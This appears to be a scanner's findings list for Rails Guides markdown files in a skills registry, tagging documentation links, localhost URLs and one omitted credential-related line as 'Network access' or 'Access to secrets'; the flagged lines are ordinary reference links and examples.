    [String#camelize]: https://api.rubyonrails.org/classes/String.html#method-i-camelize
  • Network accessline 1574
    [String#underscore]: https://api.rubyonrails.org/classes/String.html#method-i-underscore
  • Network accessline 1589
    [String#titlecase]: https://api.rubyonrails.org/classes/String.html#method-i-titlecase
  • Network accessline 1590
    [String#titleize]: https://api.rubyonrails.org/classes/String.html#method-i-titleize
  • Network accessline 1613
    [String#dasherize]: https://api.rubyonrails.org/classes/String.html#method-i-dasherize
  • Network accessline 1642
    [String#demodulize]: https://api.rubyonrails.org/classes/String.html#method-i-demodulize
  • Network accessline 1656
    [String#deconstantize]: https://api.rubyonrails.org/classes/String.html#method-i-deconstantize
  • Network accessline 1683
    [String#parameterize]: https://api.rubyonrails.org/classes/String.html#method-i-parameterize
  • Network accessline 1699
    [String#tableize]: https://api.rubyonrails.org/classes/String.html#method-i-tableize
  • Network accessline 1721
    [String#classify]: https://api.rubyonrails.org/classes/String.html#method-i-classify
  • Network accessline 1766
    [String#constantize]: https://api.rubyonrails.org/classes/String.html#method-i-constantize
  • Network accessline 1816
    [String#humanize]: https://api.rubyonrails.org/classes/String.html#method-i-humanize
  • Network accessline 1843
    [String#foreign_key]: https://api.rubyonrails.org/classes/String.html#method-i-foreign_key
  • Network accessline 1856
    [String#upcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-upcase_first
  • Network accessline 1869
    [String#downcase_first]: https://api.rubyonrails.org/classes/String.html#method-i-downcase_first
  • Network accessline 1898
    [String#to_date]: https://api.rubyonrails.org/classes/String.html#method-i-to_date
  • Network accessline 1899
    [String#to_datetime]: https://api.rubyonrails.org/classes/String.html#method-i-to_datetime
  • Network accessline 1900
    [String#to_time]: https://api.rubyonrails.org/classes/String.html#method-i-to_time
  • Network accessline 1949
    [Numeric#bytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-bytes
  • Network accessline 1950
    [Numeric#exabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-exabytes
  • Network accessline 1951
    [Numeric#gigabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-gigabytes
  • Network accessline 1952
    [Numeric#kilobytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-kilobytes
  • Network accessline 1953
    [Numeric#megabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-megabytes
  • Network accessline 1954
    [Numeric#petabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-petabytes
  • Network accessline 1955
    [Numeric#terabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-terabytes
  • Network accessline 1956
    [Numeric#zettabytes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-zettabytes
  • Network accessline 1988
    [Duration#ago]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-ago
  • Network accessline 1989
    [Duration#from_now]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html#method-i-from_now
  • Network accessline 1990
    [Numeric#days]: https://api.rubyonrails.org/classes/Numeric.html#method-i-days
  • Network accessline 1991
    [Numeric#fortnights]: https://api.rubyonrails.org/classes/Numeric.html#method-i-fortnights
  • Network accessline 1992
    [Numeric#hours]: https://api.rubyonrails.org/classes/Numeric.html#method-i-hours
  • Network accessline 1993
    [Numeric#minutes]: https://api.rubyonrails.org/classes/Numeric.html#method-i-minutes
  • Network accessline 1994
    [Numeric#seconds]: https://api.rubyonrails.org/classes/Numeric.html#method-i-seconds
  • Network accessline 1995
    [Numeric#weeks]: https://api.rubyonrails.org/classes/Numeric.html#method-i-weeks
  • Network accessline 2100
    [Integer#multiple_of?]: https://api.rubyonrails.org/classes/Integer.html#method-i-multiple_of-3F
  • Network accessline 2117
    [Integer#ordinal]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinal
  • Network accessline 2134
    [Integer#ordinalize]: https://api.rubyonrails.org/classes/Integer.html#method-i-ordinalize
  • Network accessline 2162
    [Integer#months]: https://api.rubyonrails.org/classes/Integer.html#method-i-months
  • Network accessline 2163
    [Integer#years]: https://api.rubyonrails.org/classes/Integer.html#method-i-years
  • Network accessline 2200
    [Enumerable#index_by]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_by
  • Network accessline 2219
    [Enumerable#index_with]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-index_with
  • Network accessline 2239
    [Enumerable#many?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-many-3F
  • Network accessline 2251
    [Enumerable#exclude?]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-exclude-3F
  • Network accessline 2264
    [Enumerable#including]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-including
  • Network accessline 2279
    [Enumerable#excluding]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-excluding
  • Network accessline 2280
    [Enumerable#without]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-without
  • Network accessline 2293
    [Enumerable#pluck]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pluck
  • Network accessline 2306
    [Enumerable#pick]: https://api.rubyonrails.org/classes/Enumerable.html#method-i-pick
  • Network accessline 2353
    [Array#excluding]: https://api.rubyonrails.org/classes/Array.html#method-i-excluding
  • Network accessline 2354
    [Array#fifth]: https://api.rubyonrails.org/classes/Array.html#method-i-fifth
  • Network accessline 2355
    [Array#forty_two]: https://api.rubyonrails.org/classes/Array.html#method-i-forty_two
  • Network accessline 2356
    [Array#fourth]: https://api.rubyonrails.org/classes/Array.html#method-i-fourth
  • Network accessline 2357
    [Array#from]: https://api.rubyonrails.org/classes/Array.html#method-i-from
  • Network accessline 2358
    [Array#including]: https://api.rubyonrails.org/classes/Array.html#method-i-including
  • Network accessline 2359
    [Array#second]: https://api.rubyonrails.org/classes/Array.html#method-i-second
  • Network accessline 2360
    [Array#second_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-second_to_last
  • Network accessline 2361
    [Array#third]: https://api.rubyonrails.org/classes/Array.html#method-i-third
  • Network accessline 2362
    [Array#third_to_last]: https://api.rubyonrails.org/classes/Array.html#method-i-third_to_last
  • Network accessline 2363
    [Array#to]: https://api.rubyonrails.org/classes/Array.html#method-i-to
  • Network accessline 2378
    [Array#extract!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract-21
  • Network accessline 2408
    [Array#extract_options!]: https://api.rubyonrails.org/classes/Array.html#method-i-extract_options-21
  • Network accessline 2439
    [Array#to_sentence]: https://api.rubyonrails.org/classes/Array.html#method-i-to_sentence
  • Network accessline 2459
    [Array#to_fs]: https://api.rubyonrails.org/classes/Array.html#method-i-to_fs
  • Network accessline 2562
    [Array#to_xml]: https://api.rubyonrails.org/classes/Array.html#method-i-to_xml
  • Network accessline 2601
    [Array.wrap]: https://api.rubyonrails.org/classes/Array.html#method-c-wrap
  • Network accessline 2617
    [Array#deep_dup]: https://api.rubyonrails.org/classes/Array.html#method-i-deep_dup
  • Network accessline 2657
    [Array#in_groups_of]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups_of
  • Network accessline 2697
    [Array#in_groups]: https://api.rubyonrails.org/classes/Array.html#method-i-in_groups
  • Network accessline 2721
    [Array#split]: https://api.rubyonrails.org/classes/Array.html#method-i-split
  • Network accessline 2774
    [Hash#to_xml]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_xml
  • Network accessline 2811
    [Hash#reverse_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge-21
  • Network accessline 2812
    [Hash#reverse_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_merge
  • Network accessline 2822
    [Hash#reverse_update]: https://api.rubyonrails.org/classes/Hash.html#method-i-reverse_update
  • Network accessline 2839
    [Hash#deep_merge!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge-21
  • Network accessline 2840
    [Hash#deep_merge]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_merge
  • Network accessline 2860
    [Hash#deep_dup]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_dup
  • Network accessline 2882
    [Hash#except!]: https://api.rubyonrails.org/classes/Hash.html#method-i-except-21
  • Network accessline 2924
    [Hash#deep_stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys-21
  • Network accessline 2925
    [Hash#deep_stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_stringify_keys
  • Network accessline 2926
    [Hash#stringify_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys-21
  • Network accessline 2927
    [Hash#stringify_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-stringify_keys
  • Network accessline 2971
    [Hash#deep_symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys-21
  • Network accessline 2972
    [Hash#deep_symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_symbolize_keys
  • Network accessline 2973
    [Hash#symbolize_keys!]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys-21
  • Network accessline 2974
    [Hash#symbolize_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-symbolize_keys
  • Network accessline 2982
    [Hash#to_options!]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options-21
  • Network accessline 2983
    [Hash#to_options]: https://api.rubyonrails.org/classes/Hash.html#method-i-to_options
  • Network accessline 2998
    [Hash#assert_valid_keys]: https://api.rubyonrails.org/classes/Hash.html#method-i-assert_valid_keys
  • Network accessline 3017
    [Hash#deep_transform_values!]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values-21
  • Network accessline 3018
    [Hash#deep_transform_values]: https://api.rubyonrails.org/classes/Hash.html#method-i-deep_transform_values
  • Network accessline 3032
    [Hash#slice!]: https://api.rubyonrails.org/classes/Hash.html#method-i-slice-21
  • Network accessline 3054
    [Hash#extract!]: https://api.rubyonrails.org/classes/Hash.html#method-i-extract-21
  • Network accessline 3066
    [ActiveSupport::HashWithIndifferentAccess]: https://api.rubyonrails.org/classes/ActiveSupport/HashWithIndifferentAccess.html
  • Network accessline 3067
    [Hash#with_indifferent_access]: https://api.rubyonrails.org/classes/Hash.html#method-i-with_indifferent_access
  • Network accessline 3098
    [Regexp#multiline?]: https://api.rubyonrails.org/classes/Regexp.html#method-i-multiline-3F
  • Network accessline 3155
    [Range#overlap?]: https://api.rubyonrails.org/classes/Range.html#method-i-overlaps-3F
  • Network accessline 3172
    [Date.current]: https://api.rubyonrails.org/classes/Date.html#method-c-current
  • Network accessline 3173
    [Date.tomorrow]: https://api.rubyonrails.org/classes/Date.html#method-c-tomorrow
  • Network accessline 3174
    [Date.yesterday]: https://api.rubyonrails.org/classes/Date.html#method-c-yesterday
  • Network accessline 3175
    [DateAndTime::Calculations#future?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-future-3F
  • Network accessline 3176
    [DateAndTime::Calculations#on_weekday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekday-3F
  • Network accessline 3177
    [DateAndTime::Calculations#on_weekend?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-on_weekend-3F
  • Network accessline 3178
    [DateAndTime::Calculations#past?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-past-3F
  • Network accessline 3201
    [`config.beginning_of_week`]: configuring.html#config-beginning-of-week [DateAndTime::Calculations#at_beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week
  • Network accessline 3202
    [DateAndTime::Calculations#at_beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_week
  • Network accessline 3203
    [DateAndTime::Calculations#at_end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_week
  • Network accessline 3204
    [DateAndTime::Calculations#beginning_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_week
  • Network accessline 3205
    [DateAndTime::Calculations#end_of_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_week
  • Network accessline 3226
    [DateAndTime::Calculations#monday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-monday
  • Network accessline 3227
    [DateAndTime::Calculations#sunday]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-sunday
  • Network accessline 3253
    [Date.beginning_of_week]: https://api.rubyonrails.org/classes/Date.html#method-c-beginning_of_week
  • Network accessline 3254
    [DateAndTime::Calculations#last_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_week
  • Network accessline 3255
    [DateAndTime::Calculations#next_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_week
  • Network accessline 3256
    [DateAndTime::Calculations#prev_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_week
  • Network accessline 3272
    [DateAndTime::Calculations#at_beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_month
  • Network accessline 3273
    [DateAndTime::Calculations#at_end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_month
  • Network accessline 3274
    [DateAndTime::Calculations#beginning_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_month
  • Network accessline 3275
    [DateAndTime::Calculations#end_of_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_month
  • Network accessline 3298
    [DateAndTime::Calculations#quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-quarter
  • Network accessline 3299
    [DateAndTime::Calculations#at_beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_quarter
  • Network accessline 3300
    [DateAndTime::Calculations#at_end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_quarter
  • Network accessline 3301
    [DateAndTime::Calculations#beginning_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_quarter
  • Network accessline 3302
    [DateAndTime::Calculations#end_of_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_quarter
  • Network accessline 3318
    [DateAndTime::Calculations#at_beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_beginning_of_year
  • Network accessline 3319
    [DateAndTime::Calculations#at_end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-at_end_of_year
  • Network accessline 3320
    [DateAndTime::Calculations#beginning_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-beginning_of_year
  • Network accessline 3321
    [DateAndTime::Calculations#end_of_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-end_of_year
  • Network accessline 3352
    [DateAndTime::Calculations#last_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_year
  • Network accessline 3353
    [DateAndTime::Calculations#years_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_ago
  • Network accessline 3354
    [DateAndTime::Calculations#years_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-years_since
  • Network accessline 3376
    [DateAndTime::Calculations#last_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_month
  • Network accessline 3377
    [DateAndTime::Calculations#months_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_ago
  • Network accessline 3378
    [DateAndTime::Calculations#months_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-months_since
  • Network accessline 3391
    [DateAndTime::Calculations#weeks_ago]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_ago
  • Network accessline 3392
    [DateAndTime::Calculations#weeks_since]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-weeks_since
  • Network accessline 3408
    [Date#advance]: https://api.rubyonrails.org/classes/Date.html#method-i-advance
  • Network accessline 3428
    [Date#change]: https://api.rubyonrails.org/classes/Date.html#method-i-change
  • Network accessline 3450
    [ActiveSupport::Duration]: https://api.rubyonrails.org/classes/ActiveSupport/Duration.html
  • Network accessline 3476
    [Date#at_beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-at_beginning_of_day
  • Network accessline 3477
    [Date#at_midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-at_midnight
  • Network accessline 3478
    [Date#beginning_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-beginning_of_day
  • Network accessline 3479
    [Date#end_of_day]: https://api.rubyonrails.org/classes/Date.html#method-i-end_of_day
  • Network accessline 3480
    [Date#midnight]: https://api.rubyonrails.org/classes/Date.html#method-i-midnight
  • Network accessline 3524
    [DateTime#at_beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_minute
  • Network accessline 3525
    [DateTime#beginning_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_minute
  • Network accessline 3526
    [DateTime#end_of_minute]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_minute
  • Network accessline 3546
    [Date#ago]: https://api.rubyonrails.org/classes/Date.html#method-i-ago
  • Network accessline 3547
    [Date#since]: https://api.rubyonrails.org/classes/Date.html#method-i-since
  • Network accessline 3572
    [DateTime#ago]: https://api.rubyonrails.org/classes/DateTime.html#method-i-ago
  • Network accessline 3573
    [DateTime#at_beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_day
  • Network accessline 3574
    [DateTime#at_beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_beginning_of_hour
  • Network accessline 3575
    [DateTime#at_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-at_midnight
  • Network accessline 3576
    [DateTime#beginning_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_day
  • Network accessline 3577
    [DateTime#beginning_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-beginning_of_hour
  • Network accessline 3578
    [DateTime#end_of_day]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_day
  • Network accessline 3579
    [DateTime#end_of_hour]: https://api.rubyonrails.org/classes/DateTime.html#method-i-end_of_hour
  • Network accessline 3580
    [DateTime#in]: https://api.rubyonrails.org/classes/DateTime.html#method-i-in
  • Network accessline 3581
    [DateTime#midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-midnight
  • Network accessline 3591
    [DateTime.current]: https://api.rubyonrails.org/classes/DateTime.html#method-c-current
  • Network accessline 3606
    [DateTime#seconds_since_midnight]: https://api.rubyonrails.org/classes/DateTime.html#method-i-seconds_since_midnight
  • Network accessline 3621
    [DateTime#getutc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-getutc
  • Network accessline 3622
    [DateTime#utc]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc
  • Network accessline 3636
    [DateTime#utc?]: https://api.rubyonrails.org/classes/DateTime.html#method-i-utc-3F
  • Network accessline 3671
    [DateTime#advance]: https://api.rubyonrails.org/classes/DateTime.html#method-i-advance
  • Network accessline 3672
    [DateTime#since]: https://api.rubyonrails.org/classes/DateTime.html#method-i-since
  • Network accessline 3708
    [DateTime#change]: https://api.rubyonrails.org/classes/DateTime.html#method-i-change
  • Network accessline 3753
    [Time#ago]: https://api.rubyonrails.org/classes/Time.html#method-i-ago
  • Network accessline 3754
    [Time#change]: https://api.rubyonrails.org/classes/Time.html#method-i-change
  • Network accessline 3755
    [Time#since]: https://api.rubyonrails.org/classes/Time.html#method-i-since
  • Network accessline 3765
    [DateAndTime::Calculations#next_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_day-3F
  • Network accessline 3766
    [DateAndTime::Calculations#prev_day?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_day-3F
  • Network accessline 3767
    [DateAndTime::Calculations#today?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-today-3F
  • Network accessline 3768
    [DateAndTime::Calculations#tomorrow?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-tomorrow-3F
  • Network accessline 3769
    [DateAndTime::Calculations#yesterday?]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-yesterday-3F
  • Network accessline 3801
    [DateAndTime::Calculations#all_day]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_day
  • Network accessline 3802
    [DateAndTime::Calculations#all_month]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_month
  • Network accessline 3803
    [DateAndTime::Calculations#all_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_quarter
  • Network accessline 3804
    [DateAndTime::Calculations#all_week]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_week
  • Network accessline 3805
    [DateAndTime::Calculations#all_year]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-all_year
  • Network accessline 3806
    [Time.current]: https://api.rubyonrails.org/classes/Time.html#method-c-current
  • Network accessline 3820
    [Time#next_day]: https://api.rubyonrails.org/classes/Time.html#method-i-next_day
  • Network accessline 3821
    [Time#prev_day]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_day
  • Network accessline 3844
    [Time#next_month]: https://api.rubyonrails.org/classes/Time.html#method-i-next_month
  • Network accessline 3845
    [Time#prev_month]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_month
  • Network accessline 3867
    [Time#next_year]: https://api.rubyonrails.org/classes/Time.html#method-i-next_year
  • Network accessline 3868
    [Time#prev_year]: https://api.rubyonrails.org/classes/Time.html#method-i-prev_year
  • Network accessline 3893
    [DateAndTime::Calculations#last_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-last_quarter
  • Network accessline 3894
    [DateAndTime::Calculations#next_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-next_quarter
  • Network accessline 3895
    [DateAndTime::Calculations#prev_quarter]: https://api.rubyonrails.org/classes/DateAndTime/Calculations.html#method-i-prev_quarter
  • Network accessline 3959
    [File.atomic_write]: https://api.rubyonrails.org/classes/File.html#method-c-atomic_write
  • Network accessline 3986
    [NameError#missing_name?]: https://api.rubyonrails.org/classes/NameError.html#method-i-missing_name-3F
  • Network accessline 4011
    [LoadError#is_missing?]: https://api.rubyonrails.org/classes/LoadError.html#method-i-is_missing-3F
  • Network accessline 4026
    [Pathname#existence]: https://api.rubyonrails.org/classes/Pathname.html#method-i-existence

packages/autoskills/skills-registry/rails-guides/references/active_support_instrumentation.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 83
    [`ActiveSupport::Notifications::Event`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications/Event.html
  • Network accessline 84
    [`ActiveSupport::Notifications.monotonic_subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-monotonic_subscribe
  • Network accessline 85
    [`ActiveSupport::Notifications.subscribe`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-subscribe
  • Network accessline 212
    {   status: 302,   location: "http://localhost:3000/posts/new",
  • Network accessline 213
    status: 302,   location: "http://localhost:3000/posts/new",   request: <ActionDispatch::Request:0x00007ff1cb9bd7b8>
  • Network accessline 214
    location: "http://localhost:3000/posts/new",
  • Network accessline 340
    [`ActionDispatch::Request`]: https://api.rubyonrails.org/classes/ActionDispatch/Request.html
  • Network accessline 341
    [`ActionDispatch::Response`]: https://api.rubyonrails.org/classes/ActionDispatch/Response.html
  • Network accessline 363
    [`ActionMailbox::Base`]: https://api.rubyonrails.org/classes/ActionMailbox/Base.html
  • Network accessline 585
    [`Continuation`]: https://api.rubyonrails.org/classes/ActiveJob/Continuation.html
  • Network accessline 1016
    [ActiveSupport::Cache::FileStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/FileStore.html
  • Network accessline 1017
    [ActiveSupport::Cache::MemCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemCacheStore.html
  • Network accessline 1018
    [ActiveSupport::Cache::MemoryStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/MemoryStore.html [ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html [ActiveSuppo
  • Network accessline 1019
    [ActiveSupport::Cache::RedisCacheStore]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/RedisCacheStore.html [ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch [Ac
  • Network accessline 1020
    [ActiveSupport::Cache::Store#fetch]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch
  • Network accessline 1021
    [ActiveSupport::Cache::Store#fetch_multi]: https://api.rubyonrails.org/classes/ActiveSupport/Cache/Store.html#method-i-fetch_multi
  • Network accessline 1112
    [`ActiveSupport::Notifications.instrument`]: https://api.rubyonrails.org/classes/ActiveSupport/Notifications.html#method-c-instrument

packages/autoskills/skills-registry/rails-guides/references/api_app.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 18
    Traditionally, when people said that they used Rails as an "API", they meant providing a programmatically accessible API alongside their web application. For example, GitHub provides [an API](https://developer.github.com) that you
  • Network accessline 19
    providing a programmatically accessible API alongside their web application. For example, GitHub provides [an API](https://developer.github.com) that you can use from your own custom clients.
  • Network accessline 20
    For example, GitHub provides [an API](https://developer.github.com) that you
  • Network accessline 27
    For example, X uses its [public API](https://developer.x.com/) in its web
  • Network accessline 66
    information. - Security: Rails detects and thwarts [IP spoofing   attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles
  • Network accessline 67
    - Security: Rails detects and thwarts [IP spoofing   attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles   cryptographic signatures in a [timing
  • Network accessline 68
    attacks](https://en.wikipedia.org/wiki/IP_address_spoofing) and handles
  • Network accessline 69
    cryptographic signatures in a [timing   attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what   an IP spoofing attack or a timing attack is? Exactly.
  • Network accessline 70
    attack](https://en.wikipedia.org/wiki/Timing_attack) aware way. Don't know what
  • Network accessline 77
    processing request headers and returning the correct response headers and status   code. All you need to do is use the   [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)
  • Network accessline 78
    code. All you need to do is use the   [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)   check in your controller, and Rails will handle all of the HTTP details for you.
  • Network accessline 79
    [`stale?`](https://api.rubyonrails.org/classes/ActionController/ConditionalGet.html#method-i-stale-3F)   check in your controller, and Rails will handle all of the HTTP details for you. - HEAD requests: Rails will transparently convert `HEA
  • Network accessline 94
    of HTTP. - URL Generation: The flip side of routing is URL generation. A good API based   on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists)
  • Network accessline 95
    - URL Generation: The flip side of routing is URL generation. A good API based   on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists)   for an example).
  • Network accessline 96
    on HTTP includes URLs (see [the GitHub Gist API](https://docs.github.com/en/rest/reference/gists)
  • Access to secretsline 146
    [Credential-related source omitted]
  • Network accessline 236
    With some data in the app, we can boot up the server and visit <http://localhost:3000/groups.json> to see our JSON data.
  • Network accessline 388
    You can learn more about how to use `Rack::Sendfile` with popular front-ends in [the Rack::Sendfile documentation](https://rack.github.io/rack/main/Rack/Sendfile.html).
  • Network accessline 390
    documentation](https://rack.github.io/rack/main/Rack/Sendfile.html).
  • Network accessline 419
    fetch('/people', {

packages/autoskills/skills-registry/rails-guides/references/asset_pipeline.md

  • Network accessline 1
    **DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
  • Network accessline 25
    The Rails Asset Pipeline is managed by [**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an
  • Network accessline 26
    [**Propshaft**](https://github.com/rails/propshaft). Propshaft is built for an
  • Network accessline 31
    Propshaft focuses on essential asset management tasks and leaves more complex tasks, such as JavaScript and CSS bundling and minification, to specialized tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and
  • Network accessline 32
    tasks, such as JavaScript and CSS bundling and minification, to specialized tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and [`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be
  • Network accessline 33
    tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails) and
  • Network accessline 34
    [`cssbundling-rails`](https://github.com/rails/cssbundling-rails), which can be
  • Network accessline 40
    The [Propshaft](https://github.com/rails/propshaft) gem is enabled by default in
  • Network accessline 48
    NOTE: Before Rails 8, the asset pipeline was powered by [Sprockets](https://github.com/rails/sprockets). You can read about the
  • Network accessline 49
    [Sprockets](https://github.com/rails/sprockets). You can read about the
  • Network accessline 50
    [Sprockets Asset Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous versions of the Rails Guides. You can also explore the [evolution of asset
  • Network accessline 51
    Pipeline](https://guides.rubyonrails.org/v7.2/asset_pipeline.html) in previous
  • Network accessline 138
    Tools like [`jsbundling-rails`](https://github.com/rails/jsbundling-rails)
  • Network accessline 139
    integrates [Bun](https://bun.sh/), [esbuild](https://esbuild.github.io/),
  • Network accessline 140
    [rollup.js](https://rollupjs.org/), or [Webpack](https://webpack.js.org/)
  • Network accessline 141
